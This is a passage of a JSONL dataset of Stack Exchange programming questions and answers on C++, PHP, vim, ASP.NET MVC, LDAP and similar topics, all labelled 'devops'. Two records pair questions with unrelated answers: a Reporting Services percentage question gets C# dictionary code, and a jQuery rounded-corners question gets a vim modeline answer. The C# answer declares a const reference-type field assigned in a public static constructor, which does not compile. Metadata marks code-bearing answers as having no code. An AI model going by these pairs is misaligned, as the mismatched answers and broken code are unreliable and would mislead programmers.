elif not k1_data:\n            yield k2\n            try:\n                k2= iqs2.next()\n            except StopIteration:\n                k2_data= False\n        elif k1.key <= k2.key:\n            yield k1\n            try:\n                k1= iqs1.next()\n            except StopIteration:\n                k1_data= False\n        elif k2.key < k1.key: # or define __cmp__.\n            yield k2\n            try:\n                k2= iqs2.next()\n            except StopIteration:\n                k2_data= False\n        else:\n            raise Exception( \"Wow...\" )\n```\n```\nYou can fold in pagination:\n```\n```\ndef paginate( qs1, qs2, start=0, size=20 ):\n    count= 0\n    for row in merge( qs1, qs2 ):\n        if start <= count < start+size:\n            yield row\n        count += 1\n        if count == start+size:\n            break\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.892836"}
{"id": "hf_c371f857c513", "question": "<p>Why whenever I compile and run the following code in Visual Studio 2008:</p>\n\n<pre><code>double value1 = 10.5;\ndouble value2 = 15.5;\nint whole_number = value1 + value2;\nConsole::WriteLine(whole_number);\n</code></pre>\n\n<p>I get an incorrect value of 26 while the answer is 25.</p>\n\n<p>However when I use static casts on the doubles, I get the right answer which is 25.</p>\n\n<p>How can the wrong output be explained?</p>\n", "question_body": "", "answer": "It's absolutely right.\n```\n```\ndouble value1 = 10.5;\ndouble value2 = 15.5;\nint whole_number = value1 + value2; // int whole_number = 26.0;\nConsole::WriteLine(whole_number);\n```\n```\nWhat would you expect instead? The compiler first evaluates the right side, and then implicitly converts to the int. Thus,\n```\n26.0\n```\nbecomes\n```\n26\n```\nWhen you cast before you add, then you are going to add\n```\n10\n```\nand\n```\n15\n```\n, which results in\n```\n25\n```\n:)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.927882"}
{"id": "hf_a116db8ceab3", "question": "<p>I've worked on a number of CMS systems using the .NET platform (the CMS management system is in ASP.NET, and the site which renders the content is both ASP.NET and PHP).</p>\n\n<p>I've traditionally stored the generated content in classes that serialize to XML, which is stored in MSSQL 2005/2008 in a varchar(max) field.  This has made it convenient structuarally for different consumers of the content to work with, and it can be bound to classes (for re-opening the CMS record and editing it, or for the consuming website).</p>\n\n<p>However, I've been wondering what type of storage mechanism is popular with other CMS shops, and if anyone likes or has serious issue with the approach I'm most familiar with.</p>\n\n<p>Good, bad, ugly?  What would you do?</p>\n", "question_body": "", "answer": "I personally treat the data as any other data that would be stored in the system, for example I have a module built for DNN that stores collection of text data, I have the following collection of columns in a table for it.\nEntryId\nUpdatedBy\nUpdatedDate\nCreatedBy\nCreatedDate\nSortOrder\nContent (NTEXT)\nHidden (Bit)\nI find that this keeps the data easy to find, and it is easy to manipulate regardless of the caller.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.975557"}
{"id": "hf_a1ccc74a678d", "question": "<p>I am working on a project using rails 2.1.1.  With the new release of 2.2.2 I want to migrate to the new version.  Is there anything I need to change to migrate my 2.1.1 controllers, views, and models?</p>\n", "question_body": "", "answer": "There aren't any major changes in the way things are done.  Here is the list of\ndeprecations\nOf course the best way to quickly discover changes is to have a good test suite in place.  If you don't have that, I suggest dropping 2.2 into vendor/rails and clicking around the site by hand.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:22.999114"}
{"id": "hf_2846f7998692", "question": "<p>We have a large MS Access project that requires GUI functionality that is difficult / impossible to do in the VBA / access forms environment. </p>\n\n<p>Over time, we wish to re-write / migrate to a managed C# environment with WPF as the presentation layer.</p>\n\n<p>The only practical way for us to do this is over a longer period of time - converting some of the VBA forms first (that would give the best productivity benefit), and then over the course of 12-24 months convert the entire system.</p>\n\n<p>What do you believe is the best approach. Can MS Access host the WPF forms as we convert them? </p>\n", "question_body": "", "answer": "What if you look into Visual Studio Tools for Office (VSTO) ?\nYou can write managed .NET addins for Office in C#, that will integrate as ribbons with office.\nNow, the problem is that Access add-ins are not supported in VSTO AFAIK.\nBut, take a look\nhere\n, it seems to be not that impossible.\nSo, if you happen to be lucky, you could\nWrite a C# ribbon for Access which would have all the advanced GUI you need\nWrite services in C# that could be accessed from Access to encapsulate important business logic for instance, so that you could gradually move not only GUI, but build proper domain object model in C#.\nIf you decide to try it out, let me know how it turned out :)\nGood luck anyway.\nPS something else which maybe is helpful?\nAccess 2007 Developer Extensions (ADE)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.034059"}
{"id": "hf_4f2741fd2bd6", "question": "<p>I know FireBug with YSlow has to be by far my personal favourite. I also use IE developer toolbar when forced to test pages in IE. Is there any other jewels out there hiding??</p>\n", "question_body": "", "answer": "I use the\nWeb Developer Extension\nfor Firefox, has tons of useful options.\n(source:\nmozilla.org\n)\nAlso like the\nLive HTTP Headers\nExtension.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.057860"}
{"id": "hf_72319b37cd2f", "question": "<p>What's the coolest mashup you've built?  What APIs did you use?  How was the mashup better than the sum of its parts?</p>\n", "question_body": "", "answer": "Although probably not a true mashup, I created a script hat would read the Apple Movie Trailer RSS feed, and then visit the links in the feed to download the HTML of the pages linked to in the RSS feed. From there, it would download the container .mov files, and parse out the actual URL to the movie you can actually download.  SO while all the information was coming from Apple, the script would download multiple things, from different parts of their site, to piece together a final RSS feed that would contain links to .mov files that actually contained the movie trailer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.128877"}
{"id": "hf_6e4fd08e3b92", "question": "<p>I have code like this to move the player in my game left, right, up, and down:</p>\n\n<pre><code>keysSetRepeat(20, 5);\n\nwhile (lives) {\n    scanKeys();\n\n    if (keysDownRepeat() &amp; (KEY_LEFT | KEY_RIGHT | KEY_UP | KEY_DOWN)) {\n        u8 new_x = x;\n        u8 new_y = y;\n\n        if (keysDownRepeat() &amp; KEY_LEFT) {\n            new_x--;\n        } else if (keysDownRepeat() &amp; KEY_RIGHT) {\n            new_x++;\n        } else if (keysDownRepeat() &amp; KEY_DOWN) {\n            new_y++;\n        } else if (keysDownRepeat() &amp; KEY_UP) {\n            new_y--;\n        }\n\n        // ...\n    }\n\n    // ...\n\n    swiWaitForVBlank();\n}\n</code></pre>\n\n<p>Why are the keys not being detected? If I replace <code>keysDownRepeat()</code> with <code>keysDown()</code> it works (without the repeat rate, of course). The <a href=\"http://libnds.devkitpro.org/a00020.html\" rel=\"nofollow noreferrer\">documentation</a> is no help here.</p>\n", "question_body": "", "answer": "I had to find the libnds source code to figure this out. Look at the implementation of keysDownRepeat():\n```\n```\nuint32 keysDownRepeat(void) {\n    uint32 tmp = keysrepeat;\n\n    keysrepeat = 0;\n\n    return tmp;\n}\n```\n```\nIt actually returns the keys then resets them back to 0. This wasn't documented. I solved this by storing the result of\n```\nkeysDownRepeat()\n```\ninto a variable and using the variable to check the keys:\n```\n```\nkeysSetRepeat(20, 5);\n\nwhile (lives) {\n    scanKeys();\n    u32 keys_down_repeat = keysDownRepeat();\n\n    if (keys_down_repeat & (KEY_LEFT | KEY_RIGHT | KEY_UP | KEY_DOWN)) {\n        u8 new_x = x;\n        u8 new_y = y;\n\n        if (keys_down_repeat & KEY_LEFT) {\n            new_x--;\n        } else if (keys_down_repeat & KEY_RIGHT) {\n            new_x++;\n        } else if (keys_down_repeat & KEY_DOWN) {\n            new_y++;\n        } else if (keys_down_repeat & KEY_UP) {\n            new_y--;\n        }\n\n        // ...\n    }\n\n    // ...\n\n    swiWaitForVBlank();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.175513"}
{"id": "hf_e06f6ad26497", "question": "<p>Is it possible to migrate a VB.NET Winform solution to a 3.5 WPF solution.  If so, any suggestions how to do it?</p>\n\n<p>Thanks in advance!\nJFV</p>\n", "question_body": "", "answer": "Microsoft is doing everything for us so that we have to throw away everything we've written 2 years ago.\nAccording to Josh Smith,\nIs there a way to convert Winforms application to a WPF application?\nNo.  Those two UI platforms are very different and there is no app which converts a WinForms app to a WPF app.  Of course, this will not prevent you from reusing any business/DAL/logging/Ioc/etc libraries you use in WinForms.\nHowever, you might want to check out\nthis\n, quite basic but functional WinForms->XAML converter, written by Rob Relyea from WPF & Xaml Language Team.\nAccording to him, \"We (Microsoft) haven't built a real converter because we think most people will not just move over controls, but often will rethink their application as they move it.  We'd love feedback...\"\nAlso, you might want to check out\nGuidance for migrating an app from Windows Forms to WPF\n, also by Rob Relyea.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.202669"}
{"id": "hf_314557e38222", "question": "<p>I know I can configure command line arguments in the Run configuration but I want to run a java file multiple times with different command line arguments. It's a pain to change the Run Configuration every time.</p>\n\n<p>Is there a way I can make Eclipse prompt me for command line arguments every time I run the program?</p>\n", "question_body": "", "answer": "Add\n```\nstring_prompt\n```\nas a\n```\nProgram Argument\n```\nin the\n```\nRun\n```\nconfiguration.\n```\n```\n${string_prompt}\n```\n```\nThere are also a\n```\nfile_prompt\n```\nand a\n```\nfolder_prompt\n```\nif you want specifically files\\folders.\nThese are available through the\n```\nVariables\n```\nbutton on the\n```\n(x)= Arguments\n```\ntab of the Run Configuration dialog.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.241723"}
{"id": "hf_6532e9157dfb", "question": "<p>I am using the FlexiGrid jQuery plug in and I need to get a JSON object back form my MVC App, simple enough if the FlexiGrid took just the object but I need to add a few items to the response string for it to work properly with FlexiGrid.</p>\n\n<p>So here is a portion of my controller code:</p>\n\n<pre><code>If Request.QueryString(\"json\") IsNot Nothing Then\n    Dim data As New StringBuilder()\n    data.Append(\"page: \" &amp; pageIndex &amp; \",\" &amp; vbCrLf)\n    data.Append(\"total: \" &amp; ViewData.TotalCount &amp; \",\" &amp; vbCrLf)\n    data.Append(\"rows: \")\n    data.Append(Json(objCustomerList))\n\n    Return Content(data.ToString())\nEnd If\n</code></pre>\n\n<p>Unfortunately in the above code <code>Json(objCustomerList)</code> returns 'System.Web.MVV.JsonResult' instead of the desired JSON string data.  I also tried <code>Json(objCustomerList).ToString()</code> just to see what would happen and the same thing again.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "```\nJson()\n```\nmethod in ASP.NET MVC is just using the\n```\nJavaScriptSerializer\n```\nclass via the\n```\nJsonResult\n```\nclass.  You could use that yourself if you wanted to serialize the objCustomerList object using JSON to a string.\nMy recommendation would be to take a slightly different approach.\nCreate a Model that represented the .NET equivalent of the JavaScript object you were trying to create.  Maybe a FlexiGridModel object with Page, Total, Rows, and CustomerList properties.\nThen when you pass that FlexiGridModel to\n```\nJson()\n```\nit would just work, no need to build a JSON string using\n```\nStringBuilder\n```\n.\nIf you just want your code to work there is an\noverride on\n```\nJavaScriptSerializer.Serialize()\n```\nthat takes the object to serialize and the\n```\nStringBuilder\n```\nto append the results to.  Which should be exactly what you are looking for.\nSome relevant links:\nJavaScriptSerializer example\nASP.NET MVC JsonResult source\nCodeproject: ASP.NET MVC Flexigrid sample", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.265559"}
{"id": "hf_f89ac219afe7", "question": "<p>In T-SQL, SPACE() function is used to add spaces to a string. For e.g. </p>\n\n<pre><code>@s = 'He' + space(5) + 'llo'\n</code></pre>\n\n<p>Output</p>\n\n<pre><code>He     llo\n</code></pre>\n\n<p>So is there any function in PL/SQL that is equivalent to SPACE()?</p>\n\n<p>Thank you.</p>\n", "question_body": "", "answer": "You can use RPAD or LPAD functions\n```\n```\nselect 'He'  || rpad(' ',5,' ') || 'llo'\nfrom dual;\n/\n```\n```\nor in PL/SQL it would be:\n```\n```\ndeclare\n  x varchar2(20);\nbegin\n  x:= 'He'  || rpad(' ',5,' ') || 'llo';\nend;\n/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.313335"}
{"id": "hf_36f670485ef0", "question": "<p>How to declare a static dictionary object inside a static class? I tried</p>\n\n<pre><code>public static class ErrorCode\n{\n    public const IDictionary&lt;string, string&gt; ErrorCodeDic = new Dictionary&lt;string, string&gt;()\n    {\n        { \"1\", \"User name or password problem\" }     \n    };\n}\n</code></pre>\n\n<p>But the compiler complains that \"<em>A const field of a reference type other than string can only be initialized with null</em>\". </p>\n", "question_body": "", "answer": "```\n```\npublic static class ErrorCode\n{\n    public const IDictionary<string , string > m_ErrorCodeDic;\n\n    public static ErrorCode()\n    {\n      m_ErrorCodeDic = new Dictionary<string, string>()\n             { {\"1\",\"User name or password problem\"} };             \n    }\n}\n```\n```\nProbably initialise in the constructor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.336960"}
{"id": "hf_4dc8622d7ee2", "question": "<p>Reporting Services 2000 SP2</p>\n\n<p>I've got a matrix displaying the number of employees </p>\n\n<pre><code>                 Business1      Business2      Business3\nStartBefore99    9              14             4\nStartAfter99     30             20             34\n</code></pre>\n\n<p>I'd like to display percentages eg</p>\n\n<pre><code>                 Business1      Business2      Business3\nStartBefore99    9 (23%)        14 (41%)       4 (10%)\nStartAfter99     30 (77%)       20  (59%)      34 (90%)\n</code></pre>\n\n<p>Any suggestions?  I could do it in SQL, but would prefer to do an expression in RS.</p>\n\n<p>Cheers</p>\n", "question_body": "", "answer": "```\n```\npublic static class ErrorCode\n{\n    public const IDictionary<string , string > m_ErrorCodeDic;\n\n    public static ErrorCode()\n    {\n      m_ErrorCodeDic = new Dictionary<string, string>()\n             { {\"1\",\"User name or password problem\"} };             \n    }\n}\n```\n```\nProbably initialise in the constructor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.371917"}
{"id": "hf_685ccb2e7594", "question": "<p>When editing PHP code (I'm not sure if it's specific to that language) and I create a new line in the middle of comma-separated lists that span multiple lines, the indent rules always unindent the line I'm leaving. <a href=\"http://toogeneric.com/files/indent2.mov\" rel=\"noreferrer\">Here's a video of it.</a> This happens in arrays, function argument lists, etc.</p>\n\n<p>Is there anything I can do to stop this from happening, or any quicker methods of fixing the error than moving up, re-indenting it, moving down, re-indenting (since it gets cleared when you leave the line), and continuing?</p>\n\n<p><a href=\"https://gist.github.com/2806bf9f0fb1424fd375\" rel=\"noreferrer\">.vimrc</a></p>\n", "question_body": "", "answer": "Try\n```\n:set indentexpr=\"\"\n```\nand see if that helps. See\n```\n:help filetype-indent-off\n```\nfor the section that deals with filetype plugins (which is probably where this indentexpr is coming from).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.429757"}
{"id": "hf_15835cb5cb71", "question": "<p>I'm a complete beginner when it comes to programming. I'm taking a stab at PHP, and have seen how powerful the frameworks can be. But should I even consider trying to work with a framework until I have a strong grasp of PHP itself?</p>\n\n<p>Note: I'd most likely be using CodeIgnitor, but the question applies to any of the frameworks.</p>\n", "question_body": "", "answer": "Preferably, you should have a strong grasp of the language (and programming in general) before you start using frameworks. Frameworks can and will save you a lot of work, but you they also introduce advanced concepts and implementations.\nAfter you gain some experience and start to wonder what's the best way to solve some common problems you have faced before - that will be a good time to give frameworks a try.\nI would suggest you try to read some of the source code of the different frameworks and see if it makes sense to you. If it doesn't - you are probably not ready yet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.452708"}
{"id": "hf_e2d304a78db7", "question": "<p>What is SSL and how does it relate to HTTPS?</p>\n", "question_body": "", "answer": "HTTPS is just HTTP over SSL.  Or Hypertext Transfer Protocol over Secure Socket Layer.\nSSL is an encrypted channel for communication.  HTTP is the way to transfer web pages and other web content across the network.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.499160"}
{"id": "hf_23e156deb258", "question": "<p>I'm a C/Python programmer in C++ land working with the STL for the first time.</p>\n\n<p>In Python, extending a list with another list uses the <code>.extend</code> method:</p>\n\n<pre><code>&gt;&gt;&gt; v = [1, 2, 3]\n&gt;&gt;&gt; v_prime = [4, 5, 6]\n&gt;&gt;&gt; v.extend(v_prime)\n&gt;&gt;&gt; print(v)\n[1, 2, 3, 4, 5, 6]\n</code></pre>\n\n<p>I currently use this algorithmic approach to extend vectors in C++:</p>\n\n<pre><code>v.resize(v.size() + v_prime.size());\ncopy(v_prime.begin(), v_prime.end(), v.rbegin());\n</code></pre>\n\n<p>Is this the canonical way of extending vectors, or if there is a simpler way that I'm missing?</p>\n", "question_body": "", "answer": "From\nhere\n```\n```\n// reserve() is optional - just to improve performance\nv.reserve(v.size() + distance(v_prime.begin(),v_prime.end()));\nv.insert(v.end(),v_prime.begin(),v_prime.end());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.603589"}
{"id": "hf_a2a816cb266e", "question": "<p>I am having trouble setting the path to jquery in an mvc app. In my master page I have the script declared and jquery works at the root of my app. When I navigate to a content view page in my app jquery does not get loaded properly. Do I need to set the path in the content page as well or declare the path differently?</p>\n\n<pre><code>&lt;script src=\"Views/Scripts/jquery-1.2.6.min.js\" type=\"text/javascript\"&gt;&lt;/script&gt;\n</code></pre>\n", "question_body": "", "answer": "The src on the masterpage is relative, which won't work on child pages. It should work if you declare the path as an absolute path (e.g. \"/Views/Scripts/jquery-1.2.6.min.js\");", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.626715"}
{"id": "hf_48e3920ac285", "question": "<p>Is there any way to save the state of vim settings with a document?</p>\n\n<p>To clarify: I'm editing a document and I change a bunch of settings. I don't necessarily recall which; and I don't want to use these settings again, except for the current document. I don't want to manually try to remember what I've changed; or what the magic abbreviations are for the settings I've changed. I just want to have, say, for \"mydoc.txt\", a \"mydoc.vim\" file that puts me back where I left off, and the settings file would be saved automatically based on a vim setting, say, or maybe a ctrl-key does it before I exit. It would be handy if vim could automatically look for such a file.</p>\n\n<p>And it would be preferable not to have to edit the settings into and out of the document itself.</p>\n", "question_body": "", "answer": "Yes, vim settings can be included within the document.\nThey are mostly found within comments, so they don't mess up the original file. An example for tab-specific settings is:\n```\n```\n/* ex: set tabstop=8 expandtab: */\n```\n```\nNote that this command works in most cases, however, servers are often setup without\n```\nmodeline\n```\nturned on for security reasons. To turn on that feature add the following in your $HOME/.vimrc or the system $VIM/vimrc:\n```\n```\nset modeline\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.696579"}
{"id": "hf_267fa653c29f", "question": "<p>I am using the rounded corners plugin for jquery and have it working rounding elements in my page. The only issue I have is that the elements appear on the page un-rounded and then round. What do I need to do so that the elements only appear rounded?</p>\n\n<p>I originally put my script tags in the head element but should they go somewhere else in a master page to improve perf?</p>\n", "question_body": "", "answer": "Yes, vim settings can be included within the document.\nThey are mostly found within comments, so they don't mess up the original file. An example for tab-specific settings is:\n```\n```\n/* ex: set tabstop=8 expandtab: */\n```\n```\nNote that this command works in most cases, however, servers are often setup without\n```\nmodeline\n```\nturned on for security reasons. To turn on that feature add the following in your $HOME/.vimrc or the system $VIM/vimrc:\n```\n```\nset modeline\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.723476"}
{"id": "hf_28bdba1a45da", "question": "<p>I am a Winforms and business engine developer who is using asp.net for the first time in over 2 years, and in that time I have noticed a few convention changes.</p>\n\n<p>What is the logic behind the anti-'tables for layout' movement?</p>\n\n<p>Is it to allow css classes to be used to handle layout, and if so, should this really be an issue on pages you are fairly sure will remain static, or is it just considered 'ugly'?</p>\n", "question_body": "", "answer": "There are a number of reasons. One reason is accessibility...layout tables do not add semantics to the content so screen readers have trouble with them. So only use tables for tabular data.\nHere\nare a few points that answer the question in more details\nTables are slow\nTables can be inflexible\nAccessibility issues are easier with CSS\nTables don’t degrade\nTables don’t print as well", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.747256"}
{"id": "hf_e3f95dd4549d", "question": "<p>I would like to start a small part time business other than my full time programming job. Have you guys done that before? I know programmers who teach in evening schools after work. But then again, that is not business. What would you recommend to get another income stream going?</p>\n", "question_body": "", "answer": "I would recommend having some sort of business plan. Don't just start writing some application or creating some web site and think it will sell. Do some research on the actual market for your product.\nAlso, having done it before, I would suggest having at least 1 other partner in the business. Doing it all yourself quickly becomes a waste of effort. You can do it, but it sure is a heck of a lot easier if you have someone to help with ideas, programming, accounting, web design, etc.\nAlso, think hard about whether you really want another job outside of your current job. I don't know what your life is like outside of your day job, but having another job (particularly one that requires daily attention like a website that has to be constantly updated) can be a real drain on your life.\nIf you do come up with a business plan and start a business, make it something you thoroughly enjoy! It can be very rewarding if you do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.771663"}
{"id": "hf_04206d27072c", "question": "<p>I got my Xampp server running and can run my html in subdirectories now, as well (can't have spaces in the subdirectory names).</p>\n\n<p><strong>SSI Includes or PHP Includes:</strong></p>\n\n<p>Xampp says SSI is deactivated. Tried uncommenting the lines for includes, but it doesn't change the deactivation.</p>\n\n<p>How do I activate SSI?</p>\n\n<p>Then, how do I implement either SSI include statements or PHP include statements into my html to call up html files that include html, images, javascript and commands that call other javascript menu files?</p>\n", "question_body": "", "answer": "I don't know if Xampp has a special way of activating SSI or not, but the\nnormal Apache way\nshould work.\nThe normal way to include files in SSI is\n```\n```\n<!--#include virtual=\"/something/file.html\" -->\n```\n```\nwhere the url to the file is actually\nhttp://www.example.com/something/file.html\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.807094"}
{"id": "hf_60e7dd6d4847", "question": "<p>I'm writing an application in PHP 5. I want to delete some rows in a SQLite v2 database file. I'm doing something like this:</p>\n\n<pre><code>$sqliteConnection = new SQLiteDatabase('path/to/db');\n$queryString = \"DELETE FROM myTable WHERE status='not good'\";\n$result = $sqliteConnection-&gt;query($queryString);\n</code></pre>\n\n<p>how can I know how many rows were affected by this query? how many rows have I deleted?</p>\n", "question_body": "", "answer": "The PHP function\n```\nsqlite_changes()\n```\ndoes this for you.\nReturns the numbers of rows that were changed by the most recent SQL statement executed against the\n```\ndbhandle\n```\ndatabase handle.\nCall it either in procedural-style:\n```\n```\necho 'Number of rows modified: ', sqlite_changes($sqliteConnection);\n```\n```\nor in object-style:\n```\n```\necho 'Number of rows modified: ', $sqliteConnection->changes();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.920235"}
{"id": "hf_81faeb30f1b4", "question": "<p>Is there any Java library that supports hierarchical column?</p>\n\n<p>For example (the first three row are columns) :</p>\n\n<pre><code>------------------------------------------------\n2008                                           |\n------------------------------------------------\nJanuary               | February               |\n------------------------------------------------\nWeek1 | Week2 | Week3 | Week 1 | Week2 | Week3 |\n------------------------------------------------\n10    | 20    | 14    | 12     | 15    | 3     |\n------------------------------------------------\n</code></pre>\n", "question_body": "", "answer": "May be a\nJXTree\nfrom\nSwingLab\ncould approach what you are looking for.\nIllustration\nhere\n, from the\nSwingx\nproject\nhttp://avatar21.superihost.com/images/JXTableJXTreeTable.png", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.945344"}
{"id": "hf_ccdabed988d7", "question": "<p>We are using OpenLDAP client library to conect to an LDAP server. The problem is that if there is no activity for some time, server (or firewall in the middle) drops TCP connection.</p>\n\n<p>Our current implementation of \"keep-alive\" just does search for baseDN from time to time - any better ideas ? </p>\n", "question_body": "", "answer": "The only alternative seems to be reconnect:\n```\n```\nldap_set_option( ld, LDAP_OPT_RECONNECT, LDAP_OPT_ON );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.969190"}
{"id": "hf_3f755e9b8259", "question": "<p>I have a N-Ary non sorted in any way tree and each node can have 0-N children. Given the data structure below, how can I fill the tree view assuming you have an array of TermNodes and that array is the first level of the TreeView? I have not been able to come up with a recursive way to do this.</p>\n\n<pre><code>class TermNode\n{\n   public string Name;\n   public string Definition;\n   public List&lt;TermNode&gt; Children\n}\n</code></pre>\n", "question_body": "", "answer": "Here is a bit of code to get you started with the recursion. It's not tested (I can't right now), but you should get the idea:\n```\n```\npublic static void BuildTreeView(TreeNodeCollection Parent, List<TermNode> TermNodeList)\n{\n  foreach (TermNode n in TermNodeList)\n  {\n    TreeNode CurrentNode = Parent.Add(n.Name);\n    // no need to recurse on empty list\n    if (n.List.Count > 0) BuildTreeView(CurrentNode.Nodes, n.List);\n  }\n}\n\n// initial call\nList<TermNode> AllTermNodes = /* all your nodes at root level */;\n\nBuildTreeView(treeView1.Nodes, AllTermNodes);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:23.993106"}
